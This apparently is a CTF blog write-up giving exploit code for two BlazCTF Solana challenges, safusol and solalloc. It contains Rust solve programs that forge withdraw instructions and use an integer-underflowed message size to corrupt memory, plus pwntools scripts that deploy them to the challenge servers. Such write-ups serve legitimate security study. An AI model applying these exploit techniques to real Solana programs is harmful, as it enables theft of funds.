<-->

.

I participated in BlazCTF with KimchiPremium.

There were two solana challenges like pwnable.

 

 

safusol

 

#![cfg(not(feature = "no-entrypoint"))]

use std::ops::Deref;

use solana_program::declare_id;
use solana_program::account_info::next_account_info;
use solana_program::program::invoke;

use solana_program::{
    account_info::AccountInfo,
    entrypoint,
    entrypoint::ProgramResult,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    msg,
};
use std::rc::Rc;


declare_id!("FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand");

const INIT: u32 = 0xe1c7392a;
const REGISTER: u32 = 0x1aa3a008;
const DEPOSIT: u32 = 0xb6b55f25;
const WITHDRAW: u32 = 0x2e1a7d4d;
const TOGGLE: u32 = 0x40a3d246;


use std::mem;
use std::slice;

// Rust에서 C 구조체와 동일한 구조체 정의
#[repr(C, packed)]
struct Calldata {
    selector: u32,
    bump: u8,
}


// C 구조체를 Vec<u8>으로 변환하는 함수
fn struct_to_vec(input: &Calldata) -> Vec<u8> {
    let base_size = mem::size_of::<Calldata>();
    let total_size = base_size;

    let mut buffer: Vec<u8> = Vec::with_capacity(total_size);

    let input_slice = unsafe {
        slice::from_raw_parts(
            input as *const Calldata as *const u8,
            base_size
        )
    };
    buffer.extend_from_slice(input_slice);

    buffer
}


entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &Pubkey,
        accounts: &[AccountInfo],
        instruction_data: &[u8],
    ) -> ProgramResult {

        let account_iter = &mut accounts.iter();
        let user = next_account_info(account_iter)?;
        let program = next_account_info(account_iter)?;
        let system_program = next_account_info(account_iter)?;
        let config_account = next_account_info(account_iter)?;
        let vault_account = next_account_info(account_iter)?;
        let balance_account = next_account_info(account_iter)?;
        

        let (config_addr, config_bump) = Pubkey::find_program_address(&["CONFIG".as_bytes()], &program.key);
        let (vault_addr, vault_bump) = Pubkey::find_program_address(&["VAULT".as_bytes()], &program.key);
        let (balance_addr, balance_bump) = Pubkey::find_program_address(&["BALANCE".as_bytes(), &user.key.to_bytes()], &program.key);


        {

            let input = Calldata {
                selector: REGISTER,
                bump: balance_bump,
            };
        
            let cont = struct_to_vec(&input);

            let register = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(vault_account.key.clone(), false),
                    AccountMeta::new(balance_account.key.clone(), false),
                    AccountMeta::new_readonly(program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                    AccountMeta::new(config_account.key.clone(), false),
                ],
            );
    
            invoke(&register, 
                &[
                    user.clone(),
                    vault_account.clone(),
                    balance_account.clone(),
                    program.clone(),
                    system_program.clone(),
                    config_account.clone(),
            ]);
        }

        {

            let input = Calldata {
                selector: WITHDRAW,
                bump: 0,
            };
        
            let mut cont = struct_to_vec(&input);
            
            let back = vec![148, 53, 119, 0, 0, 0, 0];
            cont.extend(back);

            let withdraw = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(vault_account.key.clone(), false),
                    AccountMeta::new(balance_account.key.clone(), false),
                    AccountMeta::new_readonly(program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                    AccountMeta::new(balance_account.key.clone(), false),
                ],
            );
    
            invoke(&withdraw, 
                &[
                    user.clone(),
                    vault_account.clone(),
                    balance_account.clone(),
                    program.clone(),
                    system_program.clone(),
                    config_account.clone(),
            ]);
        }

        Ok(())        
    }

 

 

# sample solve script to interface with the server
import pwn
from pwn import *
context.log_level = 'debug'

# if you don't know what this is doing, look at server code and also sol-ctf-framework read_instruction:
# https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237
# feel free to change the accounts and ix data etc. to whatever you want
account_metas = [
    ("user",           "sw"), # signer + writable
    ("program",        "-r"), # read only
    ("system program", "-r"), # read only
    ("config_account", "w"), 
    ("vault_account",  "w"),
    ("balance_account","w"), 
]

# local

# HOST = "127.0.0.1"
# PORT = 31337
# p = pwn.remote(HOST, PORT)

# remote

HOST = "safusol.chal.ctf.so"
PORT = 1337
p = remote(HOST, PORT)
print(p.recvuntil("Solution? "))
p.sendline(input())

pause()

with open("./my_solve/target/deploy/my_solve.so", "rb") as f:
    solve = f.read()
sleep(1)
p.sendlineafter(b"program pubkey: \n", b"FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand", timeout=100)
sleep(1)
p.sendlineafter(b": \n", str(len(solve)).encode(), timeout=100)
p.send(solve)

accounts = {
    "system program": "11111111111111111111111111111111",
}

from solders.pubkey import Pubkey
import base58





for l in p.recvuntil(b"num accounts: \n", drop=True).strip().split(b"\n"):
    [name, pubkey] = l.decode().split(": ")
    accounts[name] = pubkey


CONFIG_SEED = b"CONFIG"
VAULT_SEED = b"VAULT"
BALANCE_SEED = b"BALANCE"

new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
    seeds=[CONFIG_SEED],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts["config_account"] = data_account

new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
    seeds=[VAULT_SEED],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts["vault_account"] = data_account

new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
    seeds=[BALANCE_SEED, base58.b58decode(accounts['user'])],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts["balance_account"] = data_account


instruction_data = b""

p.sendline(str(len(account_metas)).encode())
for name, perms in account_metas:
    p.sendline(f"{perms} {accounts[name]}".encode())

p.sendlineafter(b"ix len: \n", str(len(instruction_data)).encode())
p.send(instruction_data)

p.interactive()

 

 

 

 

 

solalloc

#![cfg(not(feature = "no-entrypoint"))]

use std::ops::Deref;

use solana_program::declare_id;
use solana_program::account_info::next_account_info;
use solana_program::program::invoke;

use solana_program::{
    account_info::AccountInfo,
    entrypoint,
    entrypoint::ProgramResult,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    msg,
};
use std::rc::Rc;


declare_id!("FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand");




use std::mem;
use std::slice;

// Rust에서 C 구조체와 동일한 구조체 정의
#[repr(C, packed)]
struct UserInput {
    bump: u8,
    input_type: u8,
    amount: u64,
    msg_size: u64,
    msg: [u8; 0], // C의 flexible array member를 흉내내기 위해 0 길이 배열 사용
}

// C 구조체를 Vec<u8>으로 변환하는 함수
fn struct_to_vec(input: &UserInput, message: &[u8]) -> Vec<u8> {
    // UserInput 구조체 크기 계산 (msg 제외)
    let base_size = mem::size_of::<UserInput>();
    // 전체 크기는 기본 구조체 크기 + 메시지 길이
    let total_size = base_size + message.len();

    // 빈 Vec<u8> 생성
    let mut buffer: Vec<u8> = Vec::with_capacity(total_size);

    // 구조체 포인터를 바이트 슬라이스로 변환하여 Vec에 추가
    let input_slice = unsafe {
        slice::from_raw_parts(
            input as *const UserInput as *const u8,
            base_size
        )
    };
    buffer.extend_from_slice(input_slice);

    // 메시지를 Vec에 추가
    buffer.extend_from_slice(message);

    buffer
}


entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &Pubkey,
        accounts: &[AccountInfo],
        instruction_data: &[u8],
    ) -> ProgramResult {

        let account_iter = &mut accounts.iter();
        let user = next_account_info(account_iter)?;
        let program = next_account_info(account_iter)?;
        let system_program = next_account_info(account_iter)?;
        let admin = next_account_info(account_iter)?;
        let data_account = next_account_info(account_iter)?;
        
        {
            let mut start: Vec<u8> = vec![2];

            let (data_addr, data_bump) = Pubkey::find_program_address(&["BLAZ".as_bytes()], &program.key);

            let input = UserInput {
                bump: data_bump,
                input_type: 1, // deposit
                amount: 0,
                msg_size: 18446744069414584320 + 0xfe0 - 8 - 32, // (1u64 << 64) - 0x300000000 + 0x200000000,
                msg: [], // 메시지는 따로 처리할 것이므로 비워둠
            };
        
            let message: &[u8] = &[0]; 
        
            let mut cont1 = struct_to_vec(&input, message);





            let input = UserInput {
                bump: data_bump,
                input_type: 2, // withdraw
                amount: 2000000000,
                msg_size: 32, // (1u64 << 64) - 0x300000000 + 0x200000000,
                msg: [], // 메시지는 따로 처리할 것이므로 비워둠
            };
        
            let message: &[u8] = &[admin.key.to_bytes()[0]]; 
        
            // 구조체와 메시지를 Vec<u8>으로 변환
            let mut cont2 = struct_to_vec(&input, message);
            let inp = [start, cont1, cont2, admin.key.to_bytes()[1..].to_vec(), vec![0]].concat();
            
            
            
            // let inp = [start, cont1].concat();



            let register = Instruction::new_with_bytes(
                program.key.clone(),
                &inp,
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new_readonly(program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
    






            invoke(&register, 
                &[
                    user.clone(),
                    program.clone(),
                    system_program.clone(),
                    admin.clone(),
                    data_account.clone(),
            ]);
        }

        Ok(())        
    }

 

# sample solve script to interface with the server
import pwn

# if you don't know what this is doing, look at server code and also sol-ctf-framework read_instruction:
# https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237
# feel free to change the accounts and ix data etc. to whatever you want
account_metas = [
    ("user",           "sw"), # signer + writable
    ("program",        "-r"), # read only
    ("system program", "-r"), # read only
    ("admin",          "w"), 
    ("data_account", "w"),
]

# HOST = "localhost"
HOST = "solalloc.chal.ctf.so"
PORT = 1337
p = pwn.remote(HOST, PORT)

with open("my_solve/target/deploy/my_solve.so", "rb") as f:
    solve = f.read()

p.sendlineafter(b"program pubkey: \n", b"FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand")
p.sendlineafter(b"program len: \n", str(len(solve)).encode())
p.send(solve)

accounts = {
    "system program": "11111111111111111111111111111111",
}

for l in p.recvuntil(b"num accounts: \n", drop=True).strip().split(b"\n"):
    [name, pubkey] = l.decode().split(": ")
    accounts[name] = pubkey

from solders.pubkey import Pubkey
import base58

LIVE_BONUS_SEED = b"BLAZ"

new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
    seeds=[LIVE_BONUS_SEED],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts["data_account"] = data_account


instruction_data = b""

p.sendline(str(len(account_metas)).encode())
for name, perms in account_metas:
    p.sendline(f"{perms} {accounts[name]}".encode())

p.sendlineafter(b"ix len: \n", str(len(instruction_data)).encode())
p.send(instruction_data)

print(accounts)
print(account_metas)

p.interactive()

'writeups' 카테고리의 다른 글

2024 codegate - sms  (0) 2024.09.04
SekaiCTF 2024 - solana  (0) 2024.08.26
CrewCTF 2024 - blockchain(lightbook)  (0) 2024.08.05
HITCON CTF 2024 Quals(Lustrous, No-Exit Room, Flag Reader)  (0) 2024.07.15
justctf2024 teaser  (0) 2024.06.17

+ Recent posts